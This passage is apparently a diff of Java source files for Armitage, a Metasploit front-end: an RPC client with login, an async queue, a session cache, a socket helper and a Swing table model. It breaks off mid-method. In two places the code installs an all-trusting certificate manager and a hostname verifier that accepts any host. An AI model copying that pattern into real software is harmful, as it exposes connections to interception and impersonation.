if (ssl) { // Install the all-trusting trust manager & HostnameVerifier
|
||||||
|
try {
|
||||||
|
SSLContext sc = SSLContext.getInstance("SSL");
|
||||||
|
sc.init(null, new TrustManager[] {
|
||||||
|
new X509TrustManager() {
|
||||||
|
public java.security.cert.X509Certificate[] getAcceptedIssuers() {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
public void checkClientTrusted(
|
||||||
|
java.security.cert.X509Certificate[] certs, String authType) {
|
||||||
|
}
|
||||||
|
public void checkServerTrusted(
|
||||||
|
java.security.cert.X509Certificate[] certs, String authType) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, new java.security.SecureRandom());
|
||||||
|
|
||||||
|
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
|
||||||
|
HttpsURLConnection.setDefaultHostnameVerifier( new HostnameVerifier() {
|
||||||
|
public boolean verify(String string,SSLSession ssls) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
catch (Exception e) {
|
||||||
|
}
|
||||||
|
u = new URL("https", host, port, "/api/1.0/");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
u = new URL("http", host, port, "/api/1.0/");
|
||||||
|
}
|
||||||
|
|
||||||
|
/* login to msf server */
|
||||||
|
Object[] params = new Object[]{ username, password };
|
||||||
|
Map results = exec("auth.login",params);
|
||||||
|
rpcToken = results.get("token").toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Decodes a response recursively from MessagePackObject to a normal Java object
|
||||||
|
* @param src MessagePack response
|
||||||
|
* @return decoded object
|
||||||
|
*/
|
||||||
|
private static Object unMsg(Object src){
|
||||||
|
Object out = src;
|
||||||
|
if (src instanceof ArrayType) {
|
||||||
|
List l = ((ArrayType)src).asList();
|
||||||
|
List outList = new ArrayList(l.size());
|
||||||
|
out = outList;
|
||||||
|
for(Object o : l)
|
||||||
|
outList.add(unMsg(o));
|
||||||
|
}
|
||||||
|
else if (src instanceof BooleanType) {
|
||||||
|
out = ((BooleanType)src).asBoolean();
|
||||||
|
}
|
||||||
|
else if (src instanceof FloatType) {
|
||||||
|
out = ((FloatType)src).asFloat();
|
||||||
|
}
|
||||||
|
else if (src instanceof IntegerType) {
|
||||||
|
out = ((IntegerType)src).asInt();
|
||||||
|
}
|
||||||
|
else if (src instanceof MapType) {
|
||||||
|
Set ents = ((MapType)src).asMap().entrySet();
|
||||||
|
out = new HashMap();
|
||||||
|
for (Object ento : ents) {
|
||||||
|
Map.Entry ent = (Map.Entry)ento;
|
||||||
|
Object key = unMsg(ent.getKey());
|
||||||
|
Object val = ent.getValue();
|
||||||
|
// Hack - keep bytes of generated or encoded payload
|
||||||
|
if(ents.size() == 1 && val instanceof RawType && (key.equals("payload") || key.equals("encoded")))
|
||||||
|
val = ((RawType)val).asByteArray();
|
||||||
|
else
|
||||||
|
val = unMsg(val);
|
||||||
|
((Map)out).put(key + "", val);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (((Map)out).containsKey("error") && ((Map)out).containsKey("error_class")) {
|
||||||
|
System.out.println(((Map)out).get("error_backtrace"));
|
||||||
|
throw new RuntimeException(((Map)out).get("error_message").toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (src instanceof NilType) {
|
||||||
|
out = null;
|
||||||
|
}
|
||||||
|
else if (src instanceof RawType) {
|
||||||
|
out = ((RawType)src).asString();
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Creates an XMLRPC call from the given method name and parameters and sends it */
|
||||||
|
protected void writeCall(String methodName, Object[] args) throws Exception {
|
||||||
|
huc = u.openConnection();
|
||||||
|
huc.setDoOutput(true);
|
||||||
|
huc.setDoInput(true);
|
||||||
|
huc.setUseCaches(false);
|
||||||
|
huc.setRequestProperty("Content-Type", "binary/message-pack");
|
||||||
|
huc.setReadTimeout(0);
|
||||||
|
OutputStream os = huc.getOutputStream();
|
||||||
|
Packer pk = new Packer(os);
|
||||||
|
|
||||||
|
pk.packArray(args.length+1);
|
||||||
|
pk.pack(methodName);
|
||||||
|
for(Object o : args)
|
||||||
|
pk.pack(o);
|
||||||
|
os.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Receives an RPC response and converts to an object */
|
||||||
|
protected Object readResp() throws Exception {
|
||||||
|
InputStream is = huc.getInputStream();
|
||||||
|
MessagePackObject mpo = MessagePack.unpack(is);
|
||||||
|
return unMsg(mpo);
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,31 @@
|
||||||
|
package msf;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
|
||||||
|
public class RpcAsync implements RpcConnection, Async {
|
||||||
|
protected RpcQueue queue;
|
||||||
|
protected RpcConnection connection;
|
||||||
|
|
||||||
|
public RpcAsync(RpcConnection connection) {
|
||||||
|
this.connection = connection;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void execute_async(String methodName) {
|
||||||
|
execute_async(methodName, new Object[]{});
|
||||||
|
}
|
||||||
|
|
||||||
|
public void execute_async(String methodName, Object[] args) {
|
||||||
|
if (queue == null) {
|
||||||
|
queue = new RpcQueue(connection);
|
||||||
|
}
|
||||||
|
queue.execute(methodName, args);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object execute(String methodName) throws IOException {
|
||||||
|
return connection.execute(methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object execute(String methodName, Object[] params) throws IOException {
|
||||||
|
return connection.execute(methodName, params);
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,171 @@
|
||||||
|
package msf;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
import java.net.*;
|
||||||
|
import java.text.*;
|
||||||
|
import java.util.*;
|
||||||
|
import javax.xml.*;
|
||||||
|
import javax.xml.parsers.*;
|
||||||
|
import javax.xml.transform.*;
|
||||||
|
import javax.xml.transform.dom.*;
|
||||||
|
import javax.xml.transform.stream.*;
|
||||||
|
import org.w3c.dom.*;
|
||||||
|
|
||||||
|
/* A self-expiring cache for RPC calls */
|
||||||
|
public class RpcCacheImpl implements Runnable {
|
||||||
|
protected RpcConnection connection = null;
|
||||||
|
protected Map cache = new HashMap();
|
||||||
|
protected Map filters = new HashMap();
|
||||||
|
|
||||||
|
private static class CacheEntry {
|
||||||
|
public long last = 0L;
|
||||||
|
public long wait = 2000L;
|
||||||
|
public Object response = null;
|
||||||
|
|
||||||
|
public boolean isExpired() {
|
||||||
|
return (System.currentTimeMillis() - last) > wait;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void touch(String method, long executeTime) {
|
||||||
|
/* throttle the next call if this takes too long to execute */
|
||||||
|
if (executeTime > 500) {
|
||||||
|
wait = 5000L;
|
||||||
|
System.err.println("* " + method + " took " + executeTime + "ms - throttling next call");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
wait = 2000L;
|
||||||
|
}
|
||||||
|
|
||||||
|
last = System.currentTimeMillis();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public RpcCacheImpl(RpcConnection connection) {
|
||||||
|
this.connection = connection;
|
||||||
|
new Thread(this).start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setFilter(String user, Object[] filter) {
|
||||||
|
synchronized (this) {
|
||||||
|
if (filter == null || filter.length == 0) {
|
||||||
|
filters.remove(user);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Map temp = (Map)filter[0];
|
||||||
|
if (temp.size() == 0) {
|
||||||
|
filters.remove(user);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
filters.put(user, filter);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object execute(String user, String methodName) throws IOException {
|
||||||
|
return execute(methodName, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object execute_cache(String cacheKey, String methodName, Object[] params) throws IOException {
|
||||||
|
synchronized (this) {
|
||||||
|
CacheEntry entry = null;
|
||||||
|
|
||||||
|
if (cache.containsKey(cacheKey)) {
|
||||||
|
entry = (CacheEntry)cache.get(cacheKey);
|
||||||
|
if (!entry.isExpired()) {
|
||||||
|
return entry.response;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
entry = new CacheEntry();
|
||||||
|
cache.put(cacheKey, entry);
|
||||||
|
}
|
||||||
|
|
||||||
|
long time = System.currentTimeMillis();
|
||||||
|
if (params == null) {
|
||||||
|
entry.response = connection.execute(methodName);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
entry.response = connection.execute(methodName, params);
|
||||||
|
}
|
||||||
|
time = System.currentTimeMillis() - time;
|
||||||
|
entry.touch(methodName, time);
|
||||||
|
|
||||||
|
return entry.response;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String cacheKey(String method, Object[] args) {
|
||||||
|
Map temp = (Map)args[0];
|
||||||
|
StringBuffer key = new StringBuffer();
|
||||||
|
key.append(method + ":");
|
||||||
|
key.append(temp.get("hosts"));
|
||||||
|
key.append(";");
|
||||||
|
key.append(temp.get("os"));
|
||||||
|
key.append(";");
|
||||||
|
key.append(temp.get("ports"));
|
||||||
|
key.append(";");
|
||||||
|
key.append(temp.get("session"));
|
||||||
|
return key.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static final Object[] emptyFilter = new Object[] { new HashMap() };
|
||||||
|
|
||||||
|
public Object execute(String user, String methodName, Object[] params) throws IOException {
|
||||||
|
synchronized (this) {
|
||||||
|
/* user has a dynamic workspace... let's work with that. */
|
||||||
|
if (!methodName.equals("session.list") && filters.containsKey(user)) {
|
||||||
|
/* setup the filter */
|
||||||
|
Object[] filter = (Object[])filters.get(user);
|
||||||
|
connection.execute("db.filter", filter);
|
||||||
|
|
||||||
|
/* calculate the cache key for the filter */
|
||||||
|
String key = cacheKey(methodName, filter);
|
||||||
|
|
||||||
|
/* execute the function (caching the results too) */
|
||||||
|
Object response = execute_cache(key, methodName, params);
|
||||||
|
|
||||||
|
/* reset the filter */
|
||||||
|
connection.execute("db.filter", emptyFilter);
|
||||||
|
|
||||||
|
return response;
|
||||||
|
}
|
||||||
|
else if (methodName.equals("session.list")) {
|
||||||
|
/* do something special */
|
||||||
|
synchronized (this) {
|
||||||
|
if (sessions != null)
|
||||||
|
return sessions;
|
||||||
|
else
|
||||||
|
return execute_cache(methodName, methodName, params);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return execute_cache(methodName, methodName, params);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected Object sessions = null;
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
while (true) {
|
||||||
|
try {
|
||||||
|
Object temp = connection.execute("session.list");
|
||||||
|
synchronized (this) {
|
||||||
|
sessions = temp;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (IOException ex) {
|
||||||
|
ex.printStackTrace();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
Thread.sleep(2000);
|
||||||
|
}
|
||||||
|
catch (InterruptedException iex) {
|
||||||
|
iex.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,21 @@
|
||||||
|
package msf;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
import java.net.*;
|
||||||
|
import java.text.*;
|
||||||
|
import java.util.*;
|
||||||
|
import javax.xml.*;
|
||||||
|
import javax.xml.parsers.*;
|
||||||
|
import javax.xml.transform.*;
|
||||||
|
import javax.xml.transform.dom.*;
|
||||||
|
import javax.xml.transform.stream.*;
|
||||||
|
import org.w3c.dom.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* This is a modification of msfgui/RpcConnection.java by scriptjunkie. Taken from
|
||||||
|
* the Metasploit Framework Java GUI.
|
||||||
|
*/
|
||||||
|
public interface RpcConnection {
|
||||||
|
public Object execute(String methodName) throws IOException;
|
||||||
|
public Object execute(String methodName, Object[] params) throws IOException;
|
||||||
|
}
|
|
@ -0,0 +1,145 @@
|
||||||
|
package msf;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
import java.net.*;
|
||||||
|
import java.text.*;
|
||||||
|
import java.util.*;
|
||||||
|
import javax.xml.*;
|
||||||
|
import javax.xml.parsers.*;
|
||||||
|
import javax.xml.transform.*;
|
||||||
|
import javax.xml.transform.dom.*;
|
||||||
|
import javax.xml.transform.stream.*;
|
||||||
|
import org.w3c.dom.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* This is a modification of msfgui/RpcConnection.java by scriptjunkie. Taken from
|
||||||
|
* the Metasploit Framework Java GUI.
|
||||||
|
*/
|
||||||
|
public abstract class RpcConnectionImpl implements RpcConnection, Async {
|
||||||
|
protected String rpcToken;
|
||||||
|
private Map callCache = new HashMap();
|
||||||
|
protected RpcConnection database = null;
|
||||||
|
protected Map hooks = new HashMap();
|
||||||
|
protected RpcQueue queue = null;
|
||||||
|
|
||||||
|
public void addHook(String name, RpcConnection hook) {
|
||||||
|
hooks.put(name, hook);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setDatabase(RpcConnection connection) {
|
||||||
|
database = connection;
|
||||||
|
}
|
||||||
|
|
||||||
|
public RpcConnectionImpl() {
|
||||||
|
/* empty */
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Constructor sets up a connection and authenticates. */
|
||||||
|
public RpcConnectionImpl(String username, String password, String host, int port, boolean secure, boolean debugf) {
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Destructor cleans up. */
|
||||||
|
protected void finalize() throws Throwable {
|
||||||
|
super.finalize();
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Method that sends a call to the server and received a response; only allows one at a time */
|
||||||
|
protected Map exec (String methname, Object[] params) {
|
||||||
|
try {
|
||||||
|
synchronized(this) {
|
||||||
|
writeCall(methname, params);
|
||||||
|
Object response = readResp();
|
||||||
|
if (response instanceof Map) {
|
||||||
|
return (Map)response;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Map temp = new HashMap();
|
||||||
|
temp.put("response", response);
|
||||||
|
return temp;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (RuntimeException rex) {
|
||||||
|
throw rex;
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
throw new RuntimeException(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void execute_async(String methodName) {
|
||||||
|
execute_async(methodName, new Object[]{});
|
||||||
|
}
|
||||||
|
|
||||||
|
public void execute_async(String methodName, Object[] args) {
|
||||||
|
if (queue == null) {
|
||||||
|
queue = new RpcQueue(this);
|
||||||
|
}
|
||||||
|
queue.execute(methodName, args);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Runs command with no args */
|
||||||
|
public Object execute(String methodName) throws IOException {
|
||||||
|
return execute(methodName, new Object[]{});
|
||||||
|
}
|
||||||
|
|
||||||
|
protected HashMap locks = new HashMap();
|
||||||
|
|
||||||
|
/** Adds token, runs command, and notifies logger on call and return */
|
||||||
|
public Object execute(String methodName, Object[] params) throws IOException {
|
||||||
|
if (database != null && "db.".equals(methodName.substring(0, 3))) {
|
||||||
|
return database.execute(methodName, params);
|
||||||
|
}
|
||||||
|
else if (methodName.equals("armitage.lock")) {
|
||||||
|
if (locks.containsKey(params[0] + "")) {
|
||||||
|
Map res = new HashMap();
|
||||||
|
res.put("error", "session already locked\n" + locks.get(params[0] + ""));
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
locks.put(params[0] + "", params[1]);
|
||||||
|
}
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
|
else if (methodName.equals("armitage.unlock")) {
|
||||||
|
locks.remove(params[0] + "");
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
|
else if (hooks.containsKey(methodName)) {
|
||||||
|
RpcConnection con = (RpcConnection)hooks.get(methodName);
|
||||||
|
return con.execute(methodName, params);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Object[] paramsNew = new Object[params.length+1];
|
||||||
|
paramsNew[0] = rpcToken;
|
||||||
|
System.arraycopy(params, 0, paramsNew, 1, params.length);
|
||||||
|
Object result = cacheExecute(methodName, paramsNew);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Caches certain calls and checks cache for re-executing them.
|
||||||
|
* If not cached or not cacheable, calls exec. */
|
||||||
|
private Object cacheExecute(String methodName, Object[] params) throws IOException {
|
||||||
|
if (methodName.equals("module.info") || methodName.equals("module.options") || methodName.equals("module.compatible_payloads") || methodName.equals("core.version")) {
|
||||||
|
StringBuilder keysb = new StringBuilder(methodName);
|
||||||
|
|
||||||
|
for(int i = 1; i < params.length; i++)
|
||||||
|
keysb.append(params[i].toString());
|
||||||
|
|
||||||
|
String key = keysb.toString();
|
||||||
|
Object result = callCache.get(key);
|
||||||
|
|
||||||
|
if(result != null)
|
||||||
|
return result;
|
||||||
|
|
||||||
|
result = exec(methodName, params);
|
||||||
|
callCache.put(key, result);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
return exec(methodName, params);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected abstract void writeCall(String methodName, Object[] args) throws Exception;
|
||||||
|
protected abstract Object readResp() throws Exception;
|
||||||
|
}
|
|
@ -0,0 +1,78 @@
|
||||||
|
package msf;
|
||||||
|
|
||||||
|
import console.*;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import msf.*;
|
||||||
|
import java.math.*;
|
||||||
|
import java.security.*;
|
||||||
|
|
||||||
|
/* A pretty quick and dirty queue for executing RPC commands in turn and discarding their output. This
|
||||||
|
has to be 100x better than creating a thread for every async thing I want to have happen via an RPC
|
||||||
|
call */
|
||||||
|
public class RpcQueue implements Runnable {
|
||||||
|
protected RpcConnection connection;
|
||||||
|
protected LinkedList requests = new LinkedList();
|
||||||
|
|
||||||
|
private static class Request {
|
||||||
|
public String method;
|
||||||
|
public Object[] args;
|
||||||
|
}
|
||||||
|
|
||||||
|
public RpcQueue(RpcConnection connection) {
|
||||||
|
this.connection = connection;
|
||||||
|
new Thread(this).start();
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void processRequest(Request r) {
|
||||||
|
try {
|
||||||
|
connection.execute(r.method, r.args);
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
System.err.println("-------------------");
|
||||||
|
System.err.println("Method: " + r.method);
|
||||||
|
for (int x = 0; x < r.args.length; x++) {
|
||||||
|
System.err.println("\t" + x + ": " + r.args[x]);
|
||||||
|
}
|
||||||
|
ex.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void execute(String method, Object[] args) {
|
||||||
|
synchronized (this) {
|
||||||
|
Request temp = new Request();
|
||||||
|
temp.method = method;
|
||||||
|
temp.args = args;
|
||||||
|
requests.add(temp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected Request grabRequest() {
|
||||||
|
synchronized (this) {
|
||||||
|
return (Request)requests.pollFirst();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* keep grabbing requests */
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
while (true) {
|
||||||
|
Request next = grabRequest();
|
||||||
|
if (next != null) {
|
||||||
|
processRequest(next);
|
||||||
|
Thread.sleep(50);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Thread.sleep(500);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
ex.printStackTrace();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,119 @@
|
||||||
|
package msf;
|
||||||
|
|
||||||
|
import java.net.*;
|
||||||
|
import java.io.*;
|
||||||
|
import javax.net.ssl.*;
|
||||||
|
import javax.net.*;
|
||||||
|
|
||||||
|
import java.security.*;
|
||||||
|
import java.security.cert.*;
|
||||||
|
|
||||||
|
/* taken from jIRCii, I developed it, so I get to do what I want ;) */
|
||||||
|
public class SecureSocket
|
||||||
|
{
|
||||||
|
protected SSLSocket socket;
|
||||||
|
|
||||||
|
public SecureSocket(String host, int port) throws Exception
|
||||||
|
{
|
||||||
|
socket = null;
|
||||||
|
|
||||||
|
DummySSLSocketFactory factory = new DummySSLSocketFactory();
|
||||||
|
socket = (SSLSocket)factory.createSocket(host, port);
|
||||||
|
|
||||||
|
socket.setSoTimeout(8192);
|
||||||
|
socket.startHandshake();
|
||||||
|
}
|
||||||
|
|
||||||
|
public Socket getSocket()
|
||||||
|
{
|
||||||
|
return socket;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static class DummySSLSocketFactory extends SSLSocketFactory
|
||||||
|
{
|
||||||
|
private SSLSocketFactory factory;
|
||||||
|
|
||||||
|
public DummySSLSocketFactory()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
SSLContext sslcontext = SSLContext.getInstance("SSL");
|
||||||
|
sslcontext.init(null, new TrustManager[] {new DummyTrustManager()}, new java.security.SecureRandom());
|
||||||
|
factory = (SSLSocketFactory) sslcontext.getSocketFactory();
|
||||||
|
}
|
||||||
|
catch(Exception ex)
|
||||||
|
{
|
||||||
|
ex.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static SocketFactory getDefault()
|
||||||
|
{
|
||||||
|
return new DummySSLSocketFactory();
|
||||||
|
}
|
||||||
|
|
||||||
|
public Socket createSocket(Socket socket, String s, int i, boolean flag) throws IOException
|
||||||
|
{
|
||||||
|
return factory.createSocket(socket, s, i, flag);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Socket createSocket(InetAddress inaddr, int i, InetAddress inaddr1, int j) throws IOException
|
||||||
|
{
|
||||||
|
return factory.createSocket(inaddr, i, inaddr1, j);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Socket createSocket(InetAddress inaddr, int i) throws IOException
|
||||||
|
{
|
||||||
|
return factory.createSocket(inaddr, i);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Socket createSocket(String s, int i, InetAddress inaddr, int j) throws IOException
|
||||||
|
{
|
||||||
|
return factory.createSocket(s, i, inaddr, j);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Socket createSocket(String s, int i) throws IOException
|
||||||
|
{
|
||||||
|
return factory.createSocket(s, i);
|
||||||
|
}
|
||||||
|
|
||||||
|
public String[] getDefaultCipherSuites()
|
||||||
|
{
|
||||||
|
return factory.getSupportedCipherSuites();
|
||||||
|
}
|
||||||
|
|
||||||
|
public String[] getSupportedCipherSuites()
|
||||||
|
{
|
||||||
|
return factory.getSupportedCipherSuites();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static class DummyTrustManager implements X509TrustManager
|
||||||
|
{
|
||||||
|
public void checkClientTrusted(X509Certificate ax509certificate[], String authType)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void checkServerTrusted(X509Certificate ax509certificate[], String authType)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isClientTrusted(X509Certificate[] cert)
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isServerTrusted(X509Certificate[] cert)
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public X509Certificate[] getAcceptedIssuers()
|
||||||
|
{
|
||||||
|
return new X509Certificate[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
|
@ -0,0 +1,253 @@
|
||||||
|
package table;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
import javax.swing.table.*;
|
||||||
|
import javax.swing.JTable;
|
||||||
|
import javax.swing.SwingUtilities;
|
||||||
|
|
||||||
|
public class GenericTableModel extends AbstractTableModel {
|
||||||
|
protected String[] columnNames;
|
||||||
|
protected List rows;
|
||||||
|
protected String leadColumn;
|
||||||
|
protected boolean[] editable;
|
||||||
|
protected boolean hidden = false;
|
||||||
|
protected List all;
|
||||||
|
|
||||||
|
public void showHidden(boolean f) {
|
||||||
|
synchronized (this) {
|
||||||
|
if (f != hidden) {
|
||||||
|
if (f) {
|
||||||
|
rows = new ArrayList(all.size());
|
||||||
|
rows.addAll(all);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Iterator i = rows.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
Map temp = (Map)(i.next());
|
||||||
|
if ("1".equals( temp.get("Hide") ))
|
||||||
|
i.remove();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
hidden = f;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** this function is *not* thread safe */
|
||||||
|
public List getRows() {
|
||||||
|
return rows;
|
||||||
|
}
|
||||||
|
|
||||||
|
public GenericTableModel(String[] columnNames, String leadColumn, int anticipatedSize) {
|
||||||
|
this.columnNames = columnNames;
|
||||||
|
this.leadColumn = leadColumn;
|
||||||
|
rows = new ArrayList(anticipatedSize);
|
||||||
|
all = new ArrayList(anticipatedSize);
|
||||||
|
|
||||||
|
editable = new boolean[columnNames.length];
|
||||||
|
for (int x = 0; x < editable.length; x++) {
|
||||||
|
editable[x] = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setCellEditable(int column) {
|
||||||
|
editable[column] = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isCellEditable(int row, int column) {
|
||||||
|
return editable[column];
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object[] getSelectedValues(JTable t) {
|
||||||
|
synchronized (this) {
|
||||||
|
int row[] = t.getSelectedRows();
|
||||||
|
Object[] rv = new Object[row.length];
|
||||||
|
|
||||||
|
for (int x = 0; x < row.length; x++) {
|
||||||
|
int r = t.convertRowIndexToModel(row[x]);
|
||||||
|
if (r < rows.size() && r >= 0)
|
||||||
|
rv[x] = ( (Map)rows.get(r) ).get(leadColumn);
|
||||||
|
else
|
||||||
|
rv[x] = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return rv;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object[][] getSelectedValuesFromColumns(JTable t, String cols[]) {
|
||||||
|
synchronized (this) {
|
||||||
|
int row[] = t.getSelectedRows();
|
||||||
|
Object[][] rv = new Object[row.length][cols.length];
|
||||||
|
|
||||||
|
for (int x = 0; x < row.length; x++) {
|
||||||
|
int r = t.convertRowIndexToModel(row[x]);
|
||||||
|
for (int y = 0; y < cols.length; y++) {
|
||||||
|
rv[x][y] = ( (Map)rows.get(r) ).get(cols[y]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return rv;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getSelectedValue(JTable t) {
|
||||||
|
synchronized (this) {
|
||||||
|
Object[] values = getSelectedValues(t);
|
||||||
|
if (values.length == 0)
|
||||||
|
return null;
|
||||||
|
|
||||||
|
return values[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getValueAt(JTable t, int row, String column) {
|
||||||
|
synchronized (this) {
|
||||||
|
row = t.convertRowIndexToModel(row);
|
||||||
|
if (row == -1)
|
||||||
|
return null;
|
||||||
|
|
||||||
|
return ( (Map)rows.get(row) ).get(column);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public int getSelectedRow(JTable t) {
|
||||||
|
synchronized (this) {
|
||||||
|
return t.convertRowIndexToModel(t.getSelectedRow());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void _setValueAtRow(int row, String column, String value) {
|
||||||
|
((Map)rows.get(row)).put(column, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setValueForKey(String key, String column, String value) {
|
||||||
|
int row = -1;
|
||||||
|
|
||||||
|
synchronized (this) {
|
||||||
|
Iterator i = rows.iterator();
|
||||||
|
for (int x = 0; i.hasNext(); x++) {
|
||||||
|
Map temp = (Map)i.next();
|
||||||
|
if (key.equals(temp.get(leadColumn))) {
|
||||||
|
row = x;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (row != -1)
|
||||||
|
setValueAtRow(row, column, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setValueAtRow(final int row, final String column, final String value) {
|
||||||
|
if (SwingUtilities.isEventDispatchThread())
|
||||||
|
_setValueAtRow(row, column, value);
|
||||||
|
else
|
||||||
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
_setValueAtRow(row, column, value);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getSelectedValueFromColumn(JTable t, String column) {
|
||||||
|
synchronized (this) {
|
||||||
|
int row = t.getSelectedRow();
|
||||||
|
if (row == -1)
|
||||||
|
return null;
|
||||||
|
|
||||||
|
return getValueAt(t, row, column);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getColumnName(int x) {
|
||||||
|
return columnNames[x];
|
||||||
|
}
|
||||||
|
|
||||||
|
public int getColumnCount() {
|
||||||
|
return columnNames.length;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addEntry(final Map row) {
|
||||||
|
if (SwingUtilities.isEventDispatchThread())
|
||||||
|
_addEntry(row);
|
||||||
|
else
|
||||||
|
